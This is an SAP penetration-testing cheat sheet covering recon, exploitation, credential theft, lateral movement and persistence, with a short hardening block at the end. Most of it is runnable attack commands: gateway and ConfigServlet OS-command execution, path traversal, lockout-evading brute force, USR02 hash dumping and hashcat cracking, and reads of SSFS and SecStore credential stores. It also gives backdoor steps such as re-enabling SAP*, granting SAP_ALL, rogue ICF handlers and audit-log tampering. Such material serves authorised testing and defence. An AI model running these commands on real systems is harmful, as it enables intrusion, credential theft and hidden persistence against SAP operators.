SAP Pentesting Cheat Sheet

[SAProuter 3299]  [Web Dispatcher]        <- ICMAD (CVE-2022-22536)
        \             |
         [ICM 80NN/443NN | 5NN00/01]       <- HTTP(S), P4, IIOP
                      |
     [ABAP work procs | Java server nodes]
         |                        |
 [Gateway 33NN]       [Message Server 36NN/39NN, HTTP 81NN]
         |
 [DB: HANA / Oracle / MSSQL / DB2]
 side: sapstartsrv 5NN13/14 · Host Agent 1128/1129 · SolMan · Fiori Gateway

# nmap ships one SAP NSE script only ("--script sap-*" does not exist)
nmap -p 50000 --script http-sap-netweaver-leak <TARGET>
# SAP service probes (router, GW, MS, MC, Java): gelim/nmap-sap
git clone https://github.com/gelim/nmap-sap.git
nmap -sV --versiondb nmap-sap/nmap-service-probes -p 3299,3300,3600,50000 <TARGET>

# List all SAP modules (auxiliary/scanner/sap/*, auxiliary/admin/sap/*)
msfconsole -q -x "search path:sap; exit"

# DIAG/RFC/MS/Router/HDB library; example tools live in the repo, not the pip package
pip install pysap
git clone https://github.com/OWASP/pysap.git && ls pysap/examples/   # ms_dump_info, router_portfw, ...

# SAP GUI for Java (DIAG + SAProuter strings)
java -jar PlatinGUI-Linux-x86_64-<VER>.jar
# HANA client
./hdbinst -a client && hdbsql -n <HOST>:3<NN>15 -u <USER> -p <PASS> "SELECT * FROM M_DATABASE"
# saprouter / niping / sapgenpse
SAPCAR -xvf saprouter_<VER>.SAR && ./niping -c -H /H/<ROUTER>/S/3299/H/<INTERNAL_HOST>

# Onapsis + Mandiant: detection and compromise assessment (frozen 2025-06; extend IoCs)
git clone https://github.com/Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools.git

# No maintained SAP extensions; use BurpSSOExtension (SAML/SSO) + Param Miner

# Instances 00-01, all core ports
nmap -sV -Pn -p 3200-3201,3300-3301,3600-3601,3900-3901,8000-8001,8100-8101,44300-44301,50000-50014,50100-50114,3299,1128,1129,30013,30015 <TARGET>
# Every instance number
msf > use auxiliary/scanner/sap/sap_service_discovery
msf > set RHOSTS <RANGE>; set INSTANCES 00-99; run

# Bad: every app server with host, instance, DIAG port and logon groups
curl -s http://<TARGET>:81<NN>/msgserver/text/logon

# Bad: XML with RFCSYSID, RFCDBHOST, RFCSAPRL, RFCKERNRL (unauth)
curl -s http://<TARGET>:80<NN>/sap/public/info
# Bad: registered URL prefix inventory / logon groups
curl -s http://<TARGET>:80<NN>/sap/public/icf_info/urlprefix
curl -s http://<TARGET>:80<NN>/sap/public/icf_info/logon_groups
# Liveness (icman/ping unauth; bc/ping normally 401)
curl -s http://<TARGET>:80<NN>/sap/public/icman/ping; curl -sI http://<TARGET>:80<NN>/sap/bc/ping
# 200/401 = WebGUI and SOAP RFC exposed (logon surface)
curl -sI http://<TARGET>:80<NN>/sap/bc/gui/sap/its/webgui; curl -sI http://<TARGET>:80<NN>/sap/bc/soap/rfc
# Wordlist scan + HEAD retry on every 401
msf > use auxiliary/scanner/sap/sap_icm_urlscan

# Bad: 200 = version/component disclosure or exposed admin UI
for p in /sap/monitoring/SystemInfo /sap/monitoring/ComponentInfo /rep/build_info.jsp \
         /startPage /nwa /irj/portal /webdynpro/dispatcher/; do
  echo "$(curl -sk -o /dev/null -w '%{http_code}' https://<TARGET>:5<NN>01$p) $p"; done

# Server header + cookies in one request
curl -skI https://<TARGET>:<PORT>/ | grep -iE 'server|sap-|set-cookie'

# Internet exposure
shodan search 'Server: "SAP NetWeaver Application Server"'
shodan search 'port:3299 "SAProuter"'
# Censys: services.http.response.headers.server: "SAP NetWeaver Application Server"

# Fingerprint and check external reachability
nmap -sV -p 33<NN>,48<NN> <TARGET>
# Bad: OS command as <sid>adm via sapxpg because secinfo allows "P TP=* USER=* HOST=*" (10KBLAZE, AA19-122A)
python3 SAP_GW_RCE.py -H <TARGET> -S 33<NN> -c id         # chipik/SAP_GW_RCE_exploit (verify flags)
# Bad: rogue registered server accepted because reginfo allows "P TP=*"
python2 pysap/examples/rfc_monitor.py -d <TARGET> -p 33<NN>   # (verify) - local: gwmon nr=<NN>, SMGW

# Bad: route table, client list, version, hostname and local time returned
msf > use auxiliary/scanner/sap/sap_router_info_request
msf > set RHOSTS <ROUTER>; run
# Bad: internal hosts/ports reachable through the router
msf > use auxiliary/scanner/sap/sap_router_portscanner
msf > set SAPROUTER_HOST <ROUTER>; set TARGETS <INTERNAL_CIDR>; set INSTANCES 00-02; run
# Pivot: SAP GUI / niping route string, or local port-forward with pysap
/H/<ROUTER>/S/3299/H/<INTERNAL_HOST>/S/32<NN>
python2 pysap/examples/router_portfw.py -d <ROUTER> -t <INTERNAL_HOST> -r 32<NN> -p 32<NN>  # (verify)

# Bad: dumps server list, parameters and logon groups; ms_listener can register a rogue app server
python2 pysap/examples/ms_dump_info.py -d <TARGET> -p 36<NN>
python2 pysap/examples/ms_listener.py -d <TARGET> -p 39<NN>   # internal port reachable = critical

POST /sap/bc/soap/rfc?sap-client=<CLNT> HTTP/1.1
Host: <TARGET>:80<NN>
Authorization: Basic <BASE64_USER_PASS>
Content-Type: text/xml
SOAPAction: urn:sap-com:document:sap:rfc:functions

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><urn:RFC_SYSTEM_INFO xmlns:urn="urn:sap-com:document:sap:rfc:functions"/></SOAP-ENV:Body></SOAP-ENV:Envelope>

# Bad: RFC_PING/RFC_SYSTEM_INFO answer with default creds or a SICF anonymous service user
msf > use auxiliary/scanner/sap/sap_soap_rfc_system_info   # also: sap_soap_rfc_brute_login

# Bad: 200 without logon, or a service with an anonymous logon user (SICF "Logon Data")
for p in /sap/bc/webdynpro/sap/ /sap/public/bc/ /sap/bc/bsp/sap/ /sap/bc/gui/sap/its/webgui; do
  echo "$(curl -sk -o /dev/null -w '%{http_code}' https://<TARGET>:443<NN>$p) $p"; done
# WebGUI logon over plain HTTP = cleartext credentials

# Bad: any of these succeeds unauthenticated (only some methods protected under SDEFAULT)
msf > use auxiliary/scanner/sap/sap_mgmt_con_getenv            # GetEnvironment
msf > use auxiliary/scanner/sap/sap_mgmt_con_listlogfiles      # ListLogFiles / getlogfiles=ReadLogFile
msf > use auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints   # full port map; also sap_mgmt_con_extractusers

# Bad: 301 to /sapmc/sapmc.html?SID=<SID>&NR=<NN>&HOST=<host> leaks SID/instance/hostname
curl -sI http://<TARGET>:1128/
msf > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem

# Bad: anything but 404 (200/405/500) on a system with VCFRAMEWORK = exposed; assume compromise
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/developmentserver/metadatauploader
# Hunt: unexpected JSPs (helper.jsp, ran.jsp, shell.jsp) under the Portal servlet tree
ls /usr/sap/<SID>/J<NN>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/

# Bad: 200 + text/xml WSDL with a CTCWebService element
curl -sk https://<TARGET>:5<NN>01/CTCWebService/CTCWebServiceBean?wsdl | head -5
# Non-destructive check only; the module's run action creates an admin user
msf > use auxiliary/admin/sap/cve_2020_6287_ws_add_user
msf > check

# Bad: 200, or HEAD differs from GET (verb-tampering bypass)
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/ctc/ConfigServlet
curl -sk -I https://<TARGET>:5<NN>01/ctc/ConfigServlet
msf > use auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt
msf > use auxiliary/admin/sap/sap_configservlet_exec_noauth     # OS exec as <sid>adm

# Bad: protected servlet reached by class name, bypassing its web.xml constraint
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/<APP>/servlet/<FULLY.QUALIFIED.ClassName>
curl -sk https://<TARGET>:5<NN>01/ctc/servlet/com.sap.ctc.util.ConfigServlet

# Bad: GET -> 401 but HEAD -> 200 (constraint lists <http-method>GET</http-method>)
for m in GET HEAD; do echo "$m $(curl -sk -o /dev/null -w '%{http_code}' -X $m https://<TARGET>:5<NN>01/<PROTECTED_PATH>)"; done
curl -sk -I https://<TARGET>:5<NN>01/dir/support/CheckService     # PI classic target

# Bad: WSDL returned = unauth EEM; leads to OS exec on managed systems via SMD agents
curl -sk https://<SOLMAN>:5<NN>01/EemAdminService/EemAdmin?wsdl | head -5
msf > use auxiliary/admin/sap/cve_2020_6207_solman_rce
msf > check

# Bad: P4/P4SEC answers from any non-admin zone (unauth deserialization -> OS exec, CVSS 10.0)
nmap -sV -p 5<NN>04,5<NN>06,5<NN>08 <TARGET>

# CVE-2017-12637 scheduler: bad = directory listing / file content (hash segment varies, verify)
curl -sk "https://<TARGET>:5<NN>01/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
# CVE-2016-3976 CrashFileDownloadServlet: bad = /etc/passwd or win.ini returned
curl -sk "https://<TARGET>:5<NN>01/<APP>/CrashFileDownloadServlet?fileName=../../../../../../etc/passwd"   # (verify app path)

# Bad: UDDI pages/API reachable unauth (SQLi in 7.40, KEV)
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/uddi/          # (verify path per release)

* Verify defaults across all clients; "bad" = any account flagged still-default
SA38 -> RSUSR003
* TMSADM fix (Note 1414256) — changing it in SU01 breaks RFC destinations
SA38 -> TMS_UPDATE_PWD_OF_TMSADM

# AS Java form-login brute against the UME login module
# "bad" = 302/200 to a landing page instead of j_authentication_err
hydra -L users.txt -P pass.txt <TARGET> https-post-form \
  "/sap/bc/ui2/start_up:j_username=^USER^&j_password=^PASS^:j_authentication_err"

* Read via RZ11 / report RSPFPAR; weak values are the finding
* login/min_password_lng           baseline >= 8
* login/fails_to_user_lock         baseline <= 5 (0 = unlimited brute)
* login/no_automatic_user_sapstar  1 (0 lets deleted SAP* return as PASS)
* login/password_downwards_compatibility  0 (>0 keeps weak BCODE beside H)
RZ11 -> <PARAM>

# RFC/SOAP logon brute with the default-cred table — "bad" = valid USER:PASS reported
msf > use auxiliary/scanner/sap/sap_soap_rfc_brute_login
msf > set RHOSTS <TARGET>; set RPORT 8000; set CLIENT 000
msf > set USER_FILE sap_users.txt; set PASS_FILE sap_pass.txt; run
# WebGUI (ABAP ITS) login brute
msf > use auxiliary/scanner/sap/sap_web_gui_brute_login
# Classic RFC brute (needs NW RFC SDK)
msf > use auxiliary/scanner/sap/sap_rfc_brute_login   # (verify name in your build)
# Stay below login/fails_to_user_lock per account: spread across users, one pw at a time

# A captured MYSAPSSO2 is a signed assertion — no password re-check on accept.
# Replay to any system trusting the issuer; "bad" = authenticated session returns.
curl -b "MYSAPSSO2=<TICKET>" http://<TARGET>:8000/sap/bc/gui/sap/its/webgui

# Read an arbitrary table; "bad" = rows from USR02, AGR_1251, ...
msf > use auxiliary/scanner/sap/sap_soap_rfc_read_table
msf > set RHOSTS <TARGET>; set RPORT 8000; set CLIENT 000
msf > set USERNAME <USER>; set PASSWORD <PASS>; set TABLE USR02; run
# OS command execution via SXPG (SM69 commands)
msf > use auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system
msf > use auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
# User admin over RFC, host info, release disclosure
msf > use auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface
msf > use auxiliary/scanner/sap/sap_soap_rfc_system_info
msf > use auxiliary/scanner/sap/sap_soap_th_saprel_disclosure
# Directory / file-existence disclosure (path recon)
msf > use auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
msf > use auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence

# Confirm logon, then read USR02; "bad" = DATA rows to an unprivileged user
from pyrfc import Connection
c = Connection(ashost="<TARGET>", sysnr="00", client="000", user="<USER>", passwd="<PASS>")
print(c.call("RFC_SYSTEM_INFO")["RFCSI_EXPORT"]["RFCHOST"])
r = c.call("RFC_READ_TABLE", QUERY_TABLE="USR02",
           FIELDS=[{"FIELDNAME": "BNAME"}, {"FIELDNAME": "BCODE"}], ROWCOUNT=50)
print([row["WA"] for row in r["DATA"]])

* A missing/loose reginfo lets a rogue RFC server program register (e.g. RFCEXEC)
* and route OS commands through it. Read the live ACL state:
* "bad" = no reginfo, or P TP=* / HOST=* wildcard = anyone may register.
SMGW -> Goto -> Expert Functions -> External Security -> Display
* Relevant params: gw/acl_mode, gw/sec_info, gw/reg_info

* Inventory only — lateral use is §12. "bad" = type-3 dest with Trust Relationship
* plus a stored high-priv logon user (trust needs rfc/trusted + caller S_RFCACL).
SM59                 # inspect interactively
SE16 -> RFCDES       # dump destination definitions

# List every activated OData service; "bad" = large catalog readable as low-priv
curl -s "http://<TARGET>:8000/sap/opu/odata/IWFND/CATALOGSERVICE;v=2/ServiceCollection"
# Model, then pull entity data directly (bypasses the launchpad)
curl -s "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/\$metadata"
curl -s "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/<EntitySet>?\$top=100"
# Over-fetch via navigation the UI never exposes
curl -s "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/<EntitySet>?\$filter=<F>%20ne%20''&\$expand=<NAV>"
# Writes need a CSRF token; "bad" = token issued to a user who should not POST/PUT
curl -s -c cj.txt -H "X-CSRF-Token: Fetch" "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/" -D -

# Launchpad + bootstrap (user context, assigned catalogs leak here)
curl -s "http://<TARGET>:8000/sap/bc/ui2/flp"
curl -s "http://<TARGET>:8000/sap/bc/ui2/start_up"
curl -s "http://<TARGET>:8000/sap/bc/ui5_ui5/"                 # UI5 app resources
curl -s "http://<TARGET>:8000/sap/bc/webdynpro/sap/<APP>"      # WebDynpro root
curl -s "http://<TARGET>:8000/sap/bc/bsp/sap/<APP>"            # BSP root
curl -s "http://<TARGET>:8000/sap/bc/soap/rfc"                 # SOAP/RFC surface
curl -s "http://<TARGET>:8000/sap/bc/srt/wsdl"                 # WSDL surface

# Discover active ICF nodes without SAP GUI; "bad" = soap/rfc/bsp listed active
curl -s "http://<TARGET>:8000/sap/public/icf_info/icr_groups"
curl -s "http://<TARGET>:8000/sap/public/icf_info/icr_urlprefix"

# "bad" = SYSTEM still on the install/default password
hdbsql -n <HOST>:3<NN>15 -u SYSTEM -p <PASS>
curl -sk "https://<HOST>:43<NN>/sap/hana/xs/"      # XS engine
curl -sk "https://<HOST>:51000/"                   # HANA Cockpit

-- Users, policy, grants; "bad" = active SYSTEM, no-expiry users, broad grants
SELECT USER_NAME, USER_DEACTIVATED, LAST_SUCCESSFUL_CONNECT FROM SYS.USERS;
SELECT * FROM SYS.M_PASSWORD_POLICY;
SELECT * FROM SYS.GRANTED_PRIVILEGES WHERE GRANTEE = CURRENT_USER;

-- An ABAP-on-HANA system keeps tables in schema SAPABAP1 (or SAP<SID>).
-- Reading USR02 here bypasses RFC RAW truncation -> full hashes.
-- "bad" = BCODE/PASSCODE/PWDSALTEDHASH readable from your DB user.
SELECT BNAME, BCODE, PASSCODE, PWDSALTEDHASH FROM "SAPABAP1"."USR02";
SELECT * FROM "_SYS_REPO"."DELIVERY_UNITS";   -- repository objects

# On-disk key/credential material (OS access); "bad" = readable SSFS stores/backups
ls -la /usr/sap/<SID>/HDB<NN>/<HOST>/sec/     # SSFS data/key stores
ls -la /usr/sap/<SID>/HDB<NN>/backup/         # backups may hold full data

* S_DEVELOP ACTVT=02 allows runtime variable change. Break on the AUTHORITY-CHECK,
* set SY-SUBRC = 0 before it returns. "bad" = restricted action then runs.
SE37 / SE38 -> breakpoint at AUTHORITY-CHECK -> set SY-SUBRC = 0 -> continue

* OS command via standard report RSBDCOS0; "bad" = command output returned
SA38 -> RSBDCOS0
* Or inline if you can create/run a report:
REPORT ZPOC. CALL 'SYSTEM' ID 'COMMAND' FIELD 'id' ID 'TAB' FIELD output.

* SM69 defines external commands, SM49 runs them (as <sid>adm)
* "bad" = you add/edit a command to run a shell and execute it
SM69 -> create/modify -> SM49 -> execute

* SM37 can edit another user's job; a step runs as that job's step-user.
* Point a step at RSBDCOS0 or a Z-report; "bad" = you redirect a DDIC/BASIS job.
SM37 -> user=* , status=Scheduled/Released -> change step -> program/variant

* With user-admin rights, grant SAP_ALL/SAP_NEW or reset a user's password.
* "bad" = a non-admin edits profiles/roles or resets a privileged account.
SU01 -> <USER> -> Profiles -> add SAP_ALL / SAP_NEW      # SU10 = mass
PFCG -> role -> add auth objects -> generate -> assign

* Enumerate dangerous-auth holders first; "bad" = unexpected SAP_ALL/S_DEVELOP/
* S_TABU_DIS/S_RFC * holders.
SUIM -> Users by Complex Selection -> Profile = SAP_ALL
SA38 -> RSUSR008_009_NEW        # critical-authorizations report

* SE16N hidden edit mode: type &sap_edit in the command field to write tables.
* "bad" = you edit USR02/AGR_USERS directly, bypassing application logic.
SE16N -> table <T> -> command field: &sap_edit

* STMS: import a crafted transport = cross-landscape code execution (see §12).
* RZ10: change live profile params, e.g. re-enable SAP* or weaken login/*.
* "bad" = login/no_automatic_user_sapstar flipped to 0, or rogue transport imported.
RZ10 -> edit profile -> login/no_automatic_user_sapstar = 0 -> activate

# Preferred: full raw hashes via RFC_ABAP_INSTALL_AND_RUN (no RAW truncation)
msf > use auxiliary/scanner/sap/sap_rfc_usr02
msf > set RHOSTS <TARGET>; set RPORT 3300; set CLIENT 000
msf > set USERNAME <USER>; set PASSWORD <PASS>; run
# loot -> ~/.msf4/loot/<date>_sap_usr02_*.txt

# Partial BCODE only (RFC_READ_TABLE truncates RAW fields -> modes 7701/7801)
msf > use auxiliary/scanner/sap/sap_soap_rfc_read_table
msf > set RHOSTS <TARGET>; set RPORT 8000; set CLIENT 000
msf > set TABLE USR02; run

-- Direct HANA (secondary DB of an ABAP system lives in schema SAPABAP1)
-- hdbsql -n <HOST>:30015 -u <DBUSER> -p <DBPASS>
SELECT BNAME,BCODE,PASSCODE,PWDSALTEDHASH FROM "SAPABAP1"."USR02";

* Inside SAP GUI with table-display rights
* SE16 / SE16N -> table USR02 -> fields BNAME BCODE PASSCODE PWDSALTEDHASH -> export local file

# Hash file formats
# CODVN B/F:  <USERNAME>$<HEXHASH>          e.g. ADMIN$1F2A3B4C5D6E7F8A
# CODVN H:    {x-issha, 1024}<base64hash>   (no username prefix)

# CODVN B (uppercase, <=8) — fastest win
hashcat -a 0 -m 7700 hashes_b.txt rockyou.txt
hashcat -a 3 -m 7700 hashes_b.txt '?u?u?u?u?u?u?u?u'   # brute, uppercase
# CODVN B partial (truncated RFC_READ_TABLE output)
hashcat -a 0 -m 7701 partial_b.txt rockyou.txt
# CODVN F (SHA-1)
hashcat -a 0 -m 7800 hashes_f.txt rockyou.txt -r best64.rule
# CODVN H (iSSHA-256 / PBKDF2) — slowest, seed from the B crack
hashcat -a 0 -m 10300 hashes_h.txt rockyou.txt

# Reuse the uppercase B result to crack the real mixed-case password (F/H)
hashcat --stdout PASSWORD123 -r toggles.rule > mutations.txt
hashcat -a 0 -m 7800 hashes_f.txt mutations.txt

# SM59 RFC passwords: RFCDES table, protected by RSECTAB secure store (rsecssfx/SSFS)
cat /usr/sap/<SID>/SYS/global/security/rsecssfs/data/SSFS_<SID>.DAT   # + .KEY to decrypt
# SAPCRYPTO PSE files — export key material with sapgenpse
sapgenpse export_own_cert -p SAPSYS.pse -o cert.crt
# Java SECSTORE — properties file + its key
cat /usr/sap/<SID>/SYS/global/security/data/SecStore.properties       # + SecStore.key
# HANA client stored keys; <sid>adm (group sapsys) owns all of the above
hdbuserstore list
# Saved SAP GUI logon entries on an operator box
cat "%APPDATA%\SAP\Common\saplogon.ini"

* SM59 -> destinations of type 3 with "Trust Relationship" set hop into the
* target with the caller's identity if S_RFCACL is granted. rfc/trusted must be on.
* Enumerate from RFCDES, then call across with no password:
CALL FUNCTION 'RFC_PING' DESTINATION '<TRUSTED_DEST>'.

# SolMan holds read/write RFC into every managed system (SMSY / LMDB topology).
# Compromise SolMan -> pivot everywhere. Enumerate managed systems:
# t-codes SMSY / LMDB; RFC destinations SM_<SID>CLNT<nnn>_* (READ/TRUSTED/TMW)

# A transport request moves ABAP objects DEV -> QAS -> PRD. Inject a report,
# import it, and you run code on PRD. STMS drives it; tp runs at OS level.
tp addtobuffer <SID>K900123 PRD pf=/usr/sap/trans/bin/TP_DOMAIN_<SID>.PFL
tp import <SID>K900123 PRD client=100 U126 pf=/usr/sap/trans/bin/TP_DOMAIN_<SID>.PFL

# AS Java UME often sources users from an ABAP backend over an RFC connector.
# Those JCo destination creds (admin) pivot Java -> ABAP.
# NWA -> Configuration -> Security -> UME -> Data Sources, and
# /usr/sap/<SID>/SYS/global/security/data/* JCo destination entries

# <sid>adm SSH keys reach every host in the SID; sapcontrol/saphostctrl drive services
ssh <sid>adm@<node>            # reuse id_rsa from ~<sid>adm/.ssh
sapcontrol -nr <NN> -function StartSystem
sapcontrol -nr <NN> -function ReadLogFile /usr/sap/<SID>/.../dev_w0
sapcontrol -nr <NN> -function ExecuteOperation <op>
saphostctrl -function ExecuteOperation -name <op>

* ABAP backdoor report scheduled recurring: SE38 Z-report (resets SAP*/grants SAP_ALL) + SM36 job
* ICF handler backdoor: SICF -> new service -> custom handler class runs on every HTTP hit
* Rogue superuser + re-enable SAP* kernel backdoor:
*   RZ10 login/no_automatic_user_sapstar = 0 -> delete SAP* -> logon SAP*/PASS
*   SU01 create user, assign SAP_ALL + SAP_NEW
* Java: add a UME administrator. HANA: alternate SYSTEM-equivalent user. Tamper RSAU to blind audit.

# ABAP
curl http://<T>:8000/sap/bc/ping ; curl http://<T>:8000/sap/public/info ; curl http://<T>:8000/sap/bc/soap/rfc/
# Java
curl http://<T>:50000/irj/portal
curl http://<T>:50000/developmentserver/metadatauploader   # CVE-2025-31324 / 2020-6287
curl http://<T>:50000/ctc/ ; curl http://<T>:50000/servlet/   # config wizard / invoker servlet

auxiliary/scanner/sap/sap_service_discovery
auxiliary/scanner/sap/sap_icm_urlscan
auxiliary/scanner/sap/sap_rfc_usr02           # full USR02 hashes
auxiliary/scanner/sap/sap_soap_rfc_read_table # partial table read
auxiliary/scanner/sap/sap_recon               # CVE-2020-6287

gw/acl_mode = 1                             # gateway ACL enforced
ms/acl_info = <file>                        # message server ACL
rsau/enable = 1                             # security audit log on
login/no_automatic_user_sapstar = 1         # kill SAP* backdoor
login/password_downwards_compatibility = 0  # no weak BCODE
service/protectedwebmethods = SDEFAULT      # sapstartsrv lockdown
# AS Java: EnableInvokerServletGlobally = false